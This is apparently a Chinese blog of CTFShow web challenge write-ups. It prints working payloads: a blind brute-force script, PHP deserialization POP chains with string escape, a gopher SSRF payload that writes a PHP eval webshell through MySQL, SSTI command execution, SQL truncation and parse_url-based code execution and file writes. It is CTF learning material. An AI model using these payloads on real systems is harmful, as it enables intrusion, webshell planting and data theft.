登录和注册页面都没有注入漏洞,于是随便注册个账号进去

再试了下注入order,发现也不行

扫描目录www.zip有源码

看wp才知道利用?order=pwd来判断注册的密码与flag用户密码的大小(即 select * from user order by pwd;),真没想到

网上搬了个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#author 羽
import requests
url="https://fa8f49b7-5fc6-4dcb-97a1-b0e842429a9b.chall.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
print("*")
for i in s:
#print(i)
l=""
l=k+i
l2 = k+chr(ord(i)-1)
data={'username':l,
'email':'c',
'nickname':'c',
'password':l
}
data2={'username':l,
'password':l
}
if (l=='flag'):
k='flag'
print(k)
break
session = requests.session()
r1 = session.post(url1,data)
r2 = session.post(url2,data)
r3 = session.get(url3)
t = r3.text
#print(l)
if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):
k=l2
print(k)
break

爆了好久,运行拿到flag,真没想到是这个思路,还是经验不足

game-gyctf web2

新知识点: php反序列化字符串逃逸

来自csdn师傅的解释:PHP在进行反序列化的时候,只要前面的字符串符合反序列化的规则并能成功反序列化,那么将忽略后面多余的字符串

参考csdn师傅文章,还是搬了一些内容,还是挂一下版权声明吧

扫描目录发现www.zip,解压得到源码,包含4个文件index.php、lib.php、login.php、update.php

简单审计一下

index.php:没什么好看的,就可以通过?action=来访问到login和update文件(不需要满足($_SESSION[‘login’]==1)),或者直接访问update.php路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
require_once "lib.php";

if(isset($_GET['action'])){
require_once(__DIR__."/".$_GET['action'].".php");
}
else{
if($_SESSION['login']==1){
echo "<script>window.location.href='./index.php?action=update'</script>";
}
else{
echo "<script>window.location.href='./index.php?action=login'</script>";
}
}
?>

再看login.php的部分:基本过滤掉了很多字符,基本很难再进行sql注入,同时有个$user->login()(后面会提到)

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>

update.php:给出拿flag的条件($_SESSION[‘login’]===1)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
require_once('lib.php');
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>

最后就是关键的lib.php:存在反序列化漏洞,存在serialize()和unserialize()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

先看一下dbCtrl类:登陆成功的条件:① 用户名存在,且$this->password的md5值与数据库查询的用户密码相同。② token的值为admin。

代码中的查询语句为select id,password from user where username=?,
但其实执行的sql语句是我们可控的(后面再说明),这样的话我们只需要将查询语句写成下面这个样子:

1
select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?

然后再将$this->password的值赋为1(1的md5值为c4ca4238a0b923820dcc509a6f75849b),即可通过登录密码的验证。

为什么呢?SELECT 1, 1 FROM user WHERE username = <value>

这里的查询返回结果已经被设置为固定值1,1(之后分别赋给$idResult, $passwordResult)。这样就可以绕过if语句的判断

确定了输出flag的方式后,接下来就是利用反序列化漏洞来构造特定的sql语句,逆推正推都可以,这里就正推分析吧(虽然逆推思路比较清晰,但正推似乎比较好理解)

先找反序列化入口,一般是wakeup()和destruct()魔术方法

UpdateHelper类的destruct中有输出,将$sql实例化为User类的对象,echo使得在该类结束销毁时会调用User类toString方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}

再去看User类的toString():

1
2
3
4
5
6
7
8
9
10
11
class User
{
public $id;
public $age=null;
public $nickname=null;
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}

$nickname变量调用了update()函数,且$age变量作为参数。这样我们只需要将$nicknames实例化为Info类的对象($this->nickname = new Info();),从而可以调用Info类的call方法,且$age中的值会作为参数传入。

再去看Info类的call():

1
2
3
4
5
6
7
8
9
10
11
12
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
1
$CtrCase调用了dbCtrl类中的login()方法,dbCtrl类login($sql)中的$sql参数,实际上是User类中$age变量传入的。其参数sql语句可以控制。

构造出payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class User
{
public $age = null;
public $nickname = null;
public function __construct()
{
$this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname = new Info();
}
}
class Info
{
public $CtrlCase;
public function __construct()
{
$this->CtrlCase = new dbCtrl();
}
}
class UpdateHelper
{
public $sql;
public function __construct()
{
$this->sql = new User();
}
}
class dbCtrl
{
public $name = "admin";
public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);
#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

payload有了,该怎么传入呢?(serialize()、unserialize())

User类的update()函数:

1
2
3
4
5
6
7
public function update()
{
$Info = unserialize($this->getNewinfo());
$age = $Info->age;
$nickname = $Info->nickname;
$updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']);
}

可以看到反序列化的是getNewinfo()函数的返回值,跟进这个函数:

1
2
3
4
5
6
public function getNewInfo()
{
$age = $_POST['age'];
$nickname = $_POST['nickname'];
return safe(serialize(new Info($age, $nickname)));
}

这个函数的返回值是一个先序列化再经过safe()函数处理的Info类对象。

所以最终能够反序列化的不是我们直接传入的字符串,而是用我们传入的值实例化一个Info类的对象,然后对这个对象进行序列化,载对这个序列化结果进行safe() 处理,最后得到的值再进行反序列化。

safe()函数如下:

1
2
3
4
5
function safe($parm)
{
$array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
return str_replace($array, 'hacker', $parm);
}

看这个函数:将长度小于6的字符串直接替换成了长度为6的hacker。

如果我们将刚才得到的payload直接用age或nickname参数传入的化,其实际上只会被当成Info类里的一个很长的字符串,并不能被反序列化得到执行。

所以要想反序列化我们的payload,就得控制Info类对象的序列化串,这里就需要利用safe()函数去实现字符串逃逸:union => hacker

字符串逃逸实现方式:关键字增加、关键字减少

搬一下大佬的解释和图片(在开会不方便操作,其实是懒)

这里我们使用关键字增加的方式(利用safe()函数的替换 由union => hacker 长度5变成长度6,逃逸出后面的内容)。修改我们获得的payload。

假设我们要通过nickname参数来注入,先看一下我们构造的payload2如下(未逃逸字符串前):

1
";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

可以看到我们在而已序列化串前加上了";s:8:"CtrlCase";,在最后加上了一个}(整个长度为263),这样我们将其作为new Info($age,$nickname)的nickname传入时,序列化的结果如下:

上图中两个箭头之间的内容就是我们传入的payload,可以看到我们在第一个箭头那里是想闭合双引号,从而使后面的内容符合序列化的规则的。但是我圈出来的那个263在序列化的规则里,限制了nickname的长度为263,所以后面长度为263的payload还是当作了一个普通字符串,而不是序列化里的内容。

这时候就需要用到字符逃逸的原理了,我们在payload2的前面加上263个union,这样我上面圈出来的值就变成了263 × 5 + 263 = 1578 ,上面第一个箭头所指的双引号里是263个union(长度为263 × 5 = 1315),当对这个序列化串进行safe()函数的处理时,所有的union都被替换成了hacker,也就是双引号里的内容变成了263个hacker(长度为263 × 6 = 1578 263×6=1578263×6=1578),正好等于前面的1579,如下:

上面的图可以看出来经过safe()函数处理后,这个序列化串就被解释成了nickname变量长度为1586的重复hacker字符串,而我们的而已序列化payload,则以对象的形式作为CtrCase变量的值。
而之所前面构造的时候在最后面加一个},是因为Info类的对象只有3个变量(第一个箭头所指),当到我们第二个箭头所指的位置时,前面已经有3个变量满足了序列化串的要求了,所以加一个}来闭合整个序列化串。这样由于前面的内容已经符合反序列化的规则,所以后面的内容都将被忽略。

1
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

在update.php以POST传入上面的payload,此时反序列化被执行,在login函数里面已经成功验证了,token被设置为了admin,所以再回到登录界面使用任意密码即可登录admin账户

拿到flag

第一次涉及还是费了些时间去了解,不过又有新收获啦

web15 Fishman

www.zip源码

盲注

红包题第九弹

ssrf攻击mysql

1
python2 gopherus.py --exploit mysql 
1
select '<?php eval($_POST[a]); ?>' INTO OUTFILE '/var/www/html/1.php';

1
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%47%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%61%5d%29%3b%20%3f%3e%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%3b%01%00%00%00%01

蚁剑连接,拿到flag

红包题 葵花宝典

6,注册登录,拿flag

红包题 辟邪剑谱

sql注入基本过滤完了

试试sql约束攻击,假如数据库对user做了长度限制,当你的用户名超出长度,它会将后面内容截断。即可将它的密码直接改掉

注册一个:

1
admin                                                                                                                      a

密码为123,然后用admin,密码123登录

【nl】难了

1
2
3
4
5
6
7
8
9
10
<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
echo shell_exec($_GET[1]);
}
else{
echo "hack!!!";
}
?>

要求指令长度小于4

先了解一下shell_exec()函数:函数用于执行外部命令,并将其输出作为字符串返回给调用者。它允许你在PHP脚本中调用系统级命令,并捕获其输出。

用 nl 列出文件的内容:nl test.txt

由于Linux中可以将文件名作为函数和参数,通过星号通配执行

先新建一个名称是nl的文件作为指令

1
?1=>nl

*号代表字符串nl xxx.php,将当前目录下所有文件的名字列出来,将其写入一个空文件z

1
?1=*>z

访问该文件就会自动执行字符串nl xxx.php,下载下来文件,从而查看到文件内容

红包挑战7

‌⁢‍‍⁡⁣⁢⁤⁤‌⁣⁢‌‌⁣⁣‍⁡‍⁣‬⁣⁢⁡‌⁣⁣⁡⁢⁤‍‌⁢⁡⁢‌‍CTFshow-红包挑战7题目解析 - 飞书云文档 (feishu.cn)

红包挑战8

‌⁡‬⁡‍‬‍⁣⁤‌‍⁤‍⁡⁤⁡⁢⁤‍‌⁣⁢⁡‬‬‌‌⁡⁤⁣⁡‬‬‍‌‍⁡CTFshow-红包挑战8题目解析 - 飞书云文档 (feishu.cn)

第三届愚人杯

easy_signin

img

发现一段base64加密,解密后为face.png

img

于是加密index.php然后传参得到一串base64的密文

img

解密发现flag

img

easy_ssti

f12源代码中提醒的个app.zip

下载下来

img

img

打开知道是python的flask框架,直接套用

1
{{lipsum.__globals__['os'].popen('ls').read()}}

去执行命令

发现过滤了/,用${PATH:0:1}代替

1
/hello/name={{lipsum.__globals__['os'].popen('cat ${PATH:0:1}*').read()}}

img

被遗忘的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}

public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}

public function __clone(){
$a = new cycycycy;
$a -> aaa();
}

}

class cycycycy{
public $a;
private $b;

public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}


public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}

class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}

public function __destruct(){
echo $this->aaa;
}

public function __invoke(){
$this -> aaa = clone new EeE;
}
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

gBoBg类中有个点可以用原生类

1
2
3
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;

先用DirectoryIterator读取文件目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class gBoBg{
public $name;
public $file;
public $coos;
// private $eeee="-_-";
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
}


$w=new w_wuw_w();
$a=new gBoBg();
$w->aaa=$a;
$a->name="1";
$a->file="glob:///*f*";
$a->coos="DirectoryIterator";

echo serialize($w);
#O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:11:"glob:///*f*";s:4:"coos";s:17:"DirectoryIterator";}s:3:"key";N;s:4:"file";N;}

再用SplFileObject类读取文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class gBoBg{
public $name;
public $file;
public $coos;
// private $eeee="-_-";
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
}


$w=new w_wuw_w();
$a=new gBoBg();
$w->aaa=$a;
$a->name="1";
$a->file="/f1agaaa";
$a->coos="SplFileObject";

echo serialize($w);
#O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:8:"/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";N;}

easy_flask

好吧,环境打开不了,打开靶机还是一直403,复现不了了

大概就是flask session伪造然后任意文件下载,再是命令执行

session伪造可以参考litctf那题

ctfshow每周大挑战

PARSE_URL

官方wp

第一关

题目就三行代码

1
2
3
4
5
<?php

$data = parse_url($_GET['u']);

eval($data['host']);

parse_url() 函数会将 URL 字符串解析成一个关联数组,包含了 URL 的各个部分,例如协议、主机、端口、路径、查询参数等信息。例如,对于 URL https://example.com/path?foo=barparse_url() 函数的返回结果可能是:

1
2
3
4
5
6
array(
'scheme' => 'https',
'host' => 'example.com',
'path' => '/path',
'query' => 'foo=bar'
)

eval() 函数用于将字符串作为 PHP 代码执行。

system() 函数用于执行外部命令并将其输出返回给 PHP 脚本。

passthru()用于执行外部命令并将其输出直接传递给输出缓冲区。

所以要执行操作系统的命令(如ls)还是需要通过eval引入system或者passthru()

一开始是构造成这样的:

1
http://e09dbef7-7b73-47dd-b5f4-a48d18bc6db4.challenge.ctf.show/?u=https://passthru("ls");

这样是可以执行的,但当想继续执行其他命令的时候,比如ls ../

发现并不能成功执行,应该是不能成功执行带*/*的命令了吧

后来想了想是因为

1
http://e09dbef7-7b73-47dd-b5f4-a48d18bc6db4.challenge.ctf.show/?u=https://passthru("ls ../");

这里/后面的字符被识别为了path,也就是路径

这样的话就得想其他的办法了,这时候想到一句话木马的格式eval(@$_POST[‘a’]);

关于@位置不同,效果不同的解释:@ 符号是一个错误抑制操作符,用于抑制表达式中的错误和警告消息。当 @ 符号紧跟在函数名或表达式之前时,如果该函数或表达式发生错误,PHP 将不会显示错误消息。

然后再通过POST传参system(“commannd”);来执行。这样就避免了/后面被识别成路径了

1
2
http://e09dbef7-7b73-47dd-b5f4-a48d18bc6db4.challenge.ctf.show/?u=https://@eval($_POST['a']);
再post传参 a=system("cat /*f*");

这样就得到flag了

第二关

1
2
3
4
5
6
<?php

$data = parse_url($_GET['u']);

include $data['host'].$data['path'];

这里可以使用包含伪协议,比如include php://input

然后post传入一个脚本就能执行,例如:

1
<?php system("cat /*f*");
1
http://440e901d-460e-4af6-a18b-462317bf6524.challenge.ctf.show/?u=https://php:://input

这里之所以会有两个:是因为其中一个会被识别成端口号,而不能拼接成include php://input

又发现用hackbar好像不行,用bp就可以了

后面发现用hackbar直接post传,没有类似的a=123,这样的格式它是不会post数据的,也就是直接传<?php system(“cat /f“);在bp抓包数据中看不到,即没有用post传

第三关

1
2
3
4
<?php
$data = parse_url($_GET['u']);
include $data['scheme'].$data['path'];

这题跟上一条唯一的不同就是,它把**$data[‘host’]改成了$data[‘scheme’]**

而scheme对应的就是协议名,所以这次只要稍微改一下协议名就可以了

1
?u=php:://input

这样就可以了,我一开始以为这样的话input会被识别成host,所以试了其他的一些方法都不行

后来在本地调试,发现了这样可以

第四关

1
2
3
<?php
$data = parse_url($_GET['u']);
system($data['host']);

这个直接传cat /*f*就可以了,但又碰到了第一个所遇到的/后面会被识别为路径导致不行

看了学长的wp,发现可以用${PATH:0:1}代替/,还有一些方法在他的ctf里读取文件相关知识点总结都提到了

1
?u=https://cat ${PATH:0:1}*f*

当然直接这样还是不行的,这里的:会将后面的内容当中端口

于是在结尾加上:就可以将前面的内容全部当作host啦

第五关

1
2
3
<?php
extract(parse_url($_GET['u']));
include $$$$$$host;

extract():用于将数组中的键值对转换为相应的变量和值。

例如:

1
2
3
4
5
6
7
8
9
10
11
$data = array(
'name' => 'John',
'age' => 25,
'city' => 'New York'
);

extract($data);

echo $name; // 输出: John
echo $age; // 输出: 25
echo $city; // 输出: New York

套娃,套了6层,意思是需要我们一层跳一层,最后执行我们的命令system(‘cat /f‘)

最后构造出来

1
?u=user://pass:query@scheme/?fragment%23data://,<?php system('cat /*f*');?>

  • schemeuser
  • hostpass
  • userquery
  • path/
  • fragmentdata://
  • queryfragment
  • pass:scheme

第六关

1
2
3
<?php
$data = parse_url($_GET['u']);
file_put_contents($data['path'], $data['host']);

file_put_contents:是 PHP 中的一个内置函数,用于将数据写入文件。它提供了一种简单的方式来将字符串或数据写入指定的文件。

以下是 file_put_contents() 函数的基本语法:

1
file_put_contents(string $filename, mixed $data [, int $flags = 0 [, resource $context]]);

参数说明:

  • $filename:要写入数据的目标文件名,包括文件路径。
  • $data:要写入的数据,可以是字符串、数组或其他支持的数据类型。
  • $flags(可选):可选的标志参数,用于设置写入文件的行为。常用的标志有 FILE_APPEND(追加模式)和 LOCK_EX(获取独占锁)。
  • $context(可选):可选的上下文资源,通常用于指定额外的参数和选项。

使用 file_put_contents() 函数,可以方便地将数据写入文件。如果文件不存在,则会创建新文件并写入数据。如果文件已存在,则会覆盖原有内容,并写入新的数据。

以下是一个示例,将字符串写入文件:

1
2
3
4
$file = 'example.txt';
$data = 'Hello, world!';

file_put_contents($file, $data);

在这个示例中,file_put_contents() 函数将字符串 'Hello, world!' 写入名为 example.txt 的文件中。如果文件不存在,将创建新文件;如果文件已存在,将覆盖原有内容。

1
?u=https://<?php system('cat ${PATH:0:1}*f*');:/var/www/html/1.php

但这样,<?php中的?之后的内容会被识别为query而不是host

所以可以换个不用问号的写法,<script language="php">

1
2
?u=https://<script language="php">system('ls ${PATH:0:1}*f*');:/var/www/html/1.php
?u=https://<script language="php">system('cat ${PATH:0:1}*f*');:/var/www/html/2.php

接着访问2.php就可以了


CTFShow Web刷题记录
https://www.supersmallblack.cn/CTFShow-Web刷题记录.html
作者
Small Black
发布于
2023年11月18日
许可协议